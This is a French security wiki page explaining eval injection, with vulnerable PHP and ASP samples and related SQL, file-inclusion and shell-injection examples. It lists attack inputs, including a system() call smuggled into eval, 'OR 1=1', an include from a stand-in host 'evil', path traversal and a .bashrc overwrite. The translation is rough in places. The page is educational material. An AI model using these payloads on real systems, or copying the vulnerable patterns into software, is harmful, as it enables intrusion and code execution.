User Tools

Site Tools


hack:direct_dynamic_code_evaluation_eval_injection

Description

Cette attaque est constitué d'un script qui ne valide pas correctement les entrées de l'utilisateur dans le paramètre de la page. Un utilisateur distant peut fournir une URL spécialement conçue pour passer du code arbitraire à une instruction eval (), qui se traduit par l'exécution de code. Note 1: Cette attaque va exécuter le code avec la même autorisation, comme le service Web cible, y compris les commandes du système d'exploitation. Note 2: injection Eval est très répandue dans les procédures de gestion / distribution qui pourraient vouloir invoquer un grand nombre de fonctions, ou de définir un grand nombre de variables.

Exemples

Exemple 1

Dans cet exemple, un attaquant peut contrôler tout ou partie d'une chaîne d'entrée qui est introduite dans un eval () appel de fonction

$Myvar = "varname"; 
 $X = $ _GET['arg']; 
 eval ("\$myvar = \$x;"); 

L'argument de “eval” seront traitées comme du code PHP, des commandes supplémentaires peuvent être ajoutées. Par exemple, si “arg” est réglé sur “10; system(\” /bin/echo uh-oh\“);”, un code supplémentaire crée un processus qui exécute un programme sur le serveur, dans ce cas “/bin/echo ”.

Exemple 2

Ce qui suit est un exemple d' injection SQL https://www.owasp.org/index.php/SQL_Injection, Considérons une page web qui comporte deux champs pour permettre aux utilisateurs d'entrer un nom d'utilisateur et un mot de passe. Le code derrière la page va générer une requête SQL pour vérifier le mot de passe dans la liste des noms d'utilisateurs:

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Nom d'utilisateur'
AND UserList.Password = 'Mot de passe'

Si cette requête retourne exactement une ligne, l'accès est accordé. Toutefois, si un utilisateur malintentionné entre un nom d'utilisateur valide et injecte un peu de code valide (“'OR 1 = 1”) dans le champ Mot de passe, et bien la requête résultante ressemblera à ceci:

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Nom d'utilisateur'
ET UserList.Password = 'Mot de passe' OR '1 '= '1'

Dans l'exemple ci-dessus, “Mot de passe” est supposé être blanc ou une chaîne de caractères inoffensifs. “1 = 1” sera toujours vrai et de nombreuses lignes sera retourné, ce qui permet l'accès.La virgule inversée finale sera ignoré par l'analyseur SQL. La technique peut être affinée pour permettre à plusieurs instructions de s'exécuter, ou même pour charger et exécuter des programmes externes.

Exemple 3

Ceci est un exemple d'un fichier qui a été injecté. Pensez à ce programme PHP (ce qui inclut un fichier spécifié par demande):

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
 ?>
 <form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
 </form>

Le développeur pense que seul le fichier blue.php ou red.php peut être chargé.Mais comme tout le monde peut facilement insérer des valeurs arbitraires dans la variable COLOR, il est possible d'injecter du code à partir de fichiers:

  • /Vulnerable.php?COLOR=http://evil/exploit - injecte un fichier hébergé à distance contenant un exploit. * /Vulnerable.php?COLOR=C:\ftp\upload\exploit - injecte un fichier téléchargé contenant un exploit.
  • /Vulnerable.php?COLOR=........\ftp\upload\exploit - injecte un fichier téléchargé contenant un exploit, à l'aide la vulnerabilité 'Path Transversal'
  • /Vulnerable.php?COLOR=C:\notes.txt%00 - par exemple en utilisant le caractère Null ,Meta caractère pour enlever le .php suffixe, permettant l'accès à des fichiers autres que php. (le réglage PHP “magicquotesgpc = On”, qui est par défaut, pourrait stopper cette attaque)

Exemple 4

Une URL simple qui démontre une façon de faire pour cette attaque:

<__yamdwe_nowiki>1</__yamdwe_nowiki>  

Exemple 5

Shell injection s'applique à la plupart des systèmes qui permettent aux logiciels d'exécuter par programmation une ligne de commande. Les sources habituelles de l'injection de Shell sont des appels system(), StartProcess (), java.lang.Runtime.exec() et les API similaire. Considérons le court programme PHP suivant, qui gère un programme externe appelé funnytext qui remplacer un mot envoyé à l'utilisateur avec un autre mot.

<HTML>
 <?Php
 passthru ("/home/user/phpguru/funnytext " 
           . $_GET['User_input'] );
 ?>

Ce programme peut être injecté de plusieurs façons:

  • Commande` exécutera la commande .
  • $(Commande) exécute l'a commande .
  • ; Commande va exécuter la commande , et le résultat de sortie de commande.
  • | Commande va exécuter la commande , et le résultat de sortie de commande.
  • &&Commande  va exécuter la commande , et le résultat de sortie de commande.
  • | | Commande va exécuter la commande , et le résultat de sortie de commande.
  • > /Home/user/phpguru/.bashrc va écraser le fichier . bashrc .
  • < /Home/user/phpguru/.bashrc va envoyer le fichier . bashrc comme entrée pour funnytext.

PHP offre escapeshellarg() http://www.php.net/manual/en/function.escapeshellarg.php et escapeshellcmd() http://www.php.net/manual/en/function.escapeshellcmd.php pour effectuer l'encodage avant d'appeler les méthodes. Toutefois, il n'est pas recommandé de faire confiance à ces méthodes pour être securisé – aussi il convient valider / désinfecter les chaines en entrée.

Exemple 6

Le code suivant est vulnérable à l'injection eval (), car il ne nettoie pas la saisie de l'utilisateur (dans ce cas: “username”). Le programme enregistre tout cette saisie dans un fichier txt, puis le serveur va exécuter ce fichier sans aucune validation. Dans ce cas, l'utilisateur est en mesure d'insérer une commande au lieu d'un nom d'utilisateur.

Exemple:

<%
        If not isEmpty(Request( "username" ) ) Then
                Const ForReading = 1, ForWriting = 2, ForAppending = 8
                Dim fso, f
                Set fso = CreateObject("Scripting.FileSystemObject")
                Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ),       ForAppending, True)
                f.Write Request("username") & vbCrLf
                f.close
                Set f = nothing
                Set fso = Nothing
                %>
                <h1>List of logged users:</h1>
                <pre>
                <%
                        Server.Execute( "userlog.txt" )
                %>
                </pre>
                <%
        Else
                %>
                <form>
                        <input name="username" /><input type="submit"  name="submit" />
                </form>
                <%
        End If
 %>

Références

hack/direct_dynamic_code_evaluation_eval_injection.txt · Last modified: 2019/02/13 13:10 by 127.0.0.1